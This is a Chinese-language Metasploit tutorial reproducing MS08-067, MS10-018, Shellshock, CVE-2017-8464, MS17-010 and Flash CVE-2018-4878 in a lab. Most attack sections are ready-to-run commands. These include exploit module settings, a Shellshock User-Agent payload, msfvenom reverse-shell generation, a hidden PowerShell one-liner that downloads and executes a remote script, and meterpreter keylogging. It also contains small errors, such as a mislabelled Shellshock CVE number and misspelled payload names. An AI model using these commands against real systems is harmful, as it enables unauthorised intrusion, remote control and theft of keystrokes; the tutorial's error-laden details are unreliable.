Kali MSF(The Metasploit Framework)
启动方式
msfconsole (-q)加-q在后台静默启动,启动完成后命令行显示msf>
msfconsole -h 查看其它使用选项
常用命令
msf > help 查看帮助信息
msf > back 返回命令
msf > exit 退出metasploit
msf > banner 查看metasploit版本信息及漏洞模块数量
show options 检查目标信息(required中yes为必填项)
info 查看模块作者和许可信息漏洞参考(CVE、BID等)
msf > jobs -h 查看后台的工作
kill 杀死正在运行的进程
msf > search *** 基于正则表达式的搜索功能
(可以将以下关键字组合使用搜索来缩小返回结果的范围)
msf > search name:*** 进行名称搜索
msf > search platform:*** 根据特定平台进行搜索
msf > search type:*** 根据模块类型进行搜索
msf > search author:*** 根据作者姓名进行搜索
setg\unsetg 可以对show options中的选项进行配置(带g为全局配置global)
use 使用漏洞
exploit 开始攻击
MSF 漏洞复现
MS08-067
漏洞简介
受影响版本:Windows 2000/XP/Server 2003/Vista/Server 2008/7 Pro-beta
如果用户在受影响的系统上收到特制的RPC请求,则可能导致攻击者在未经允许身份验证的而情况下利用此漏洞运行任意代码,实现远程代码执行。
解决方案:通过防火墙来阻止攻击
漏洞利用
1.在kali中打开命令行,并输入msfconsole进入msf终端
2.查找ms08-067漏洞,并利用模块
3.使用攻击模块
use exploit/windows/smb/ms08-067 或 use 0(查找出来的模块序号为0)
4.查看该攻击模块下所需的配置信息,options 或者show options 都可以
5.设置payload
show payloads
set payload windows/meterpreter/bind_tcp
6.设置靶机地址,将RHOSTS_IP设置为目标靶机IP
set RHOSTS x.x.x.x
7.查看targets,并将targets设置为目标靶机系统版本
show targets
set targets 34
8.确认配置信息
9.执行exploit进行攻击
10.漏洞利用验证
11.监听键盘记录
1)在meterperter下使用ps查看靶机进程
2)找到要监听键盘的进程,并进行迁移 migrate xxx
3)使用keyscan_start开启键盘记录(keyscan_stop关闭)
4)在xp下对应程序输入任意字符后,在meterpreter使用keyscan_dump查看键盘记录内容
MS10-018
漏洞简介
MS10-018是IE浏览器上的漏洞,主要危害Internet Explorer 6~7,攻击者可以通过该漏洞获取受害主机的控制权。
扩展资料:Microsoft 安全公告 MS10-018 - 严重 | Microsoft Learn
漏洞利用
1.msfconsole进入msf终端
2.查找ms10-018漏洞模块
3.use exploit/windows/browser/ms10_018_ie_behaviors
4.set srvhost x.x.x.x (x.x.x.x)为监听设备ip,不是靶机ip
(如果不设置URIPATH就会随机生成URL路径)
5.在靶机设备使用ie访问http://x.x.x.x:8080/xxxx;访问后ie闪退,msf收到对应session会话
6.在msf查看session -l,根据结果使用session -i # 进入会话,并进行漏洞利用验证
bind和reverse的区别
bind正向攻击,有目标进行攻击,主动建立会话
reverse反向攻击,等别人访问来建立会话,相对bind较为安全
两种攻击方式中被攻击目标没有明显感知
Bash Shellshock CVE-2014-6217(破壳)
漏洞简介
Shellshock的原理是利用了Bash在导入环境变量函数时所触发的漏洞,启动Bash的时候,他不但会导入函数,而且也会把函数后面的命令一并执行。在有些CGI脚本的设计过程中,数据是通过环境变量来传递的,这就给了数据提供者利用Shellshock漏洞的机会。
简单按理说就是由于服务器的cgi脚本调用了bash命令,由于bash版本过低,攻击者把有害的数据写入环境变量,传到服务器,触发服务器运行Bash脚本,完成攻击。
漏洞原理
该bash使用的环境变量通过或函数名称来调用,导致楼的的问题点是一(){开头定义的环境变量在命令ENV中解析成函数后,bsah执行并未退出,而是继续解析并执行shell命令。
漏洞利用
1.环境搭建
1)docker下搜索该镜像 docker search CVE-2014-6271
2)docker pull vulnerables/cve-2014-6271
3)docker run -d -p **:80 container-name
4)dock ps 查看容器是否启动,并用浏览器访问ip:port
2.漏洞攻击
使用hackbar发送http请求,将payload负载User-Agent中执行,随后访问/cgi-bin/vulnerable
User-Agent: () { foo; }; echo Content-Type: text/plain; echo; /usr/bin/id
3.使用msf复现漏洞
1)search shellshock 查找shellshock漏洞利用模块
2)use exploit/multi/http/apache_mod_cgi_bash_env_exec 利用漏洞利用模块
3)options 查看设置参数
4)set payload linux/x86/meterpreter/reverse_tcp 设置漏洞利用payload
5)set rhosts x.x.x.x 设置靶机ip
6)set rport 8086 设置靶机ip端口
7)set TARGETURI /cgi-bin/vulnerable 设置目标uri,根据漏洞路径设置
8)options确认配置参数,check 查看是否存在漏洞
若攻击失败 端口被占用则需要设置其他lport
set lport 4445,然后执行exploit,并进行验证
远程命令执行漏洞CVE-2017-8464(震网三代)
漏洞描述
2017年6月13日,微软官方发布编号为CVE-2017-8464的高危漏洞公告,官方介绍Windows系统在解析快捷方式时存在远程执行任意代码的高危漏洞,黑客可以通过U盘、网络共享等途径触发漏洞,完全控制用户系统。
Windows系统使用二进制解析.LNK文件,当恶意二进制代码被系统识别执行时即可实现远程代码执行,由于是在explorer.exe进程中运行,所以 Load 进内存时与当前用户具有相同权限。攻击者利用这一解析过程将包含恶意二进制的代码添加到可移动驱动器(或远程共享过程中),受害者使用powershell解析 .LNK 文件后即被黑客所控制。
功利用此漏洞的攻击者可能会获得与本地用户相同的用户权限。
影响版本
windows 7-10 windows server 2008-2016(目前win10专业版无法实现)
漏洞利用
1.在kali下使用msfvenom生成一个反弹shell
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=10.0.0.157 lport=4444 -f psh-reflection > ~/magedu.ps1
2.将生成的magedu.ps1拷贝到/var/www/html目录下
cp magedu.ps1 /var/www/html
3.在kali中启用apache服务
service apache2 start
4.在windows中访问10.0.0.157
5.访问目录下的magedu.ps1
6.在靶机上创建一个快捷方式
powershell -windowstyle hidden -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://10.0.0.157/magedu.ps1');test.ps1"
7.在kali下创建监听反射shell
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 10.0.0.157
8.执行exploit开启监听,并在windows上运行刚才创建的powershell快捷方式
MS17-010
漏洞简介
永恒之蓝,爆发于WannaCry勒索病毒的诞生,改病毒是不法分子利用NSA(National Security Agency,美国国家安全局)泄露的漏洞“EternalBlue”(永恒之蓝)进行改造而成。该漏洞可以通过TCP的139和445端口,攻击windows的SMB服务,造成远程代码执行。
MS17-010漏洞主要针对windows7及以前的操作系统
漏洞利用
利用条件(原版win7)
防火墙必须允许SMB流量出入
目标必须使用SMBv1协议
目标必须缺少MS17-010补丁
目标必须允许匿名IPC$和管道名
(msdn下载的镜像默认满足2、3)
环境准备
关闭 ‘限制对命令管道和共享的匿名访问’,禁用后重启生效;
关闭系统防火墙
漏洞复现
msfconsole
search ms17-010
use 0
set rhosts 10.0.0.159靶机
exploit
use 1
set rhosts 10.0.0.159靶机
exploit
use 2 ----option选项中command配置攻击后返回command结果
set rhosts 10.0.0.159
set command ipconfig
exploit
use 3
set rhosts 10.0.0.159靶机
exploit
扩展内容
结果 | 0、1两种方式可以直接获取meterpreter命令行 | 2返回命令执行结果,3只能用于扫描 |
---|---|---|
条件 | 0、3不需要开启共享 | 需要开启共享 |
漏洞模块 | 防火墙必须允许SMB流量出入 | 目标必须使用SMBv1协议 | 目标必须缺少MS17-010补丁 | 目标必须允许匿名IPC$和管道名 |
---|---|---|---|---|
0 exploit/windows/smb/ms17_010_eternalblue | ✓ | ✓ | ✓ | |
1 exploit/windows/smb/ms17_010_psexec | ✓ | ✓ | ✓ | ✓ |
2 auxiliary/admin/smb/ms17_010_command | ✓ | ✓ | ✓ | ✓ |
3 auxiliary/scanner/smb/smb_ms17_010 | ✓ | ✓ | ✓ |
漏洞修复
1.补丁
2.关闭SMB功能--业务不需要时可以关闭,理想环境下实现
3.外围安全设备实现防护
4.关闭445端口--业务不需要,135、137、139、443、445
5.访问控制,在防火墙上添加白名单(仅允许xxx访问)
Flash漏洞 CVE-2018-4878
漏洞简介
2018年2月1号,adobe官方发布安全通报(APSA18-01),声明adobe Flash 28.0.0.137及其之前的版本,存在高危漏洞(CVE-2018-4878)
攻击者通过构造特殊的flash连接,当用户用浏览器/邮件/office访问此flash链接时,会被“远程代码执行”,并且直接被getshell。
参考链接:[漏洞复现] CVE-2018-4878 Flash 0day_51CTO博客_cve-2018-15919
影响版本:
产品 | 版本 | 平台 |
---|---|---|
adobe flash player桌面运行时 | 28.0.0.137及更早版本 | Windows,Macintosh |
适用于Google chrome的adobe flash player | 28.0.0.137及更早版本 | Windows,Macintosh,Linux和chrome操作系统版本 |
适用于mircosoft edge和internet explorer 11的adobe flash player | 28.0.0.137及更早版本 | windows 10和8.1 |
adobe flash player桌面运行时 | 28.0.0.137及更早版本 | linux |
漏洞利用
漏洞环境
攻击机:kali | 靶机:win7 sp3 | exp:cve-2018-4878.py | flash:flashplayer_avtivex_28.0.0.137.exe |
---|---|---|---|
攻击流程
1.kali中使用msfvenom生成漏洞利用代码
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.0.0.157 lport=4445 -f python>magedu_shellcode.txt
2.查看生成的文件
3.修改CVE-8-4878-master文件夹中的cve-2018-4878.py,替换该字段
4.修改cve-2018-4878.py文件中的文件生成路径为自己的路径,并将cve-2018-4878-master文件夹复制到kali root目录下
5.kali root目录下python2 cve-2018-4878.py 使用python执行修改完的文件,此目录下产生.swf和.html两个文件
6.开启apache服务,并将生成的两个文件copy到apache服务目录下(让目标访问到生成的目录文件)
server apache2 start
cp /root/cve-2018-4878/* /var/www/html
7.kali上开启监听
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverser_tcp
set lhost 10.0.0.157
set lport 4445 //lport和lhost要与生成的shellcode文件中一致
exploit
8.win7中安装flash插件,并在ie中访问生成的index2.html页面
9.kali获取meterpreter终端,并测试
MSF攻击流程
1.输入msfconsole进入msf终端
2.search查找对应的漏洞利用模块
3.use使用查找的漏洞利用模块
4.set设置options需要配置参数
5.exploit/run开始攻击
6.getshell